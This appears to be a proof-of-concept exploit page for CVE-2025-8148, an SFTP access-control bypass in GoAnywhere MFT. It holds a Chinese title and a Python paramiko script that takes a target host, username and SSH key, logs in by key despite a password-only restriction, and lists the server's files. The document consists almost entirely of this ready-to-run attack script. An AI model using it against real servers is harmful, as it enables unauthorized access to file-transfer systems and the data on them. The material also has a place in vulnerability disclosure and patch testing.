CVE-2025-8148: GoAnywhere MFT SFTP服务访问控制绕过漏洞

# CVE-2025-8148 PoC - GoAnywhere MFT SFTP Access Control Bypass # This PoC demonstrates the authentication bypass vulnerability import paramiko import sys def exploit_sftp(target_host, username, ssh_key_path): """ Exploit CVE-2025-8148: Access Control Bypass in GoAnywhere MFT SFTP Prerequisites: - Valid authentication alias configured - Valid SSH key registered - User restricted to password-only authentication for SFTP This exploit bypasses the authentication restriction to login via SSH key. """ try: # Load SSH private key private_key = paramiko.RSAKey.from_private_key_file(ssh_key_path) # Create SSH client client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # Attempt SFTP connection using SSH key # This should be blocked if user is restricted to password-only # But due to CVE-2025-8148, it succeeds transport = paramiko.Transport((target_host, 22)) transport.connect(username=username, pkey=private_key) # Open SFTP session sftp = paramiko.SFTPClient.from_transport(transport) print(f"[+] Successfully connected to SFTP service as {username}") print(f"[+] Access control bypassed - SSH key authentication allowed") # List directory contents print("\n[*] Directory listing:") for entry in sftp.listdir('.'): print(f" - {entry}") sftp.close() transport.close() return True except paramiko.AuthenticationException: print("[-] Authentication failed - target may not be vulnerable") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) != 4: print("Usage: python cve-2025-8148.py <target_host> <username> <ssh_key_path>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] key_path = sys.argv[3] exploit_sftp(target, user, key_path)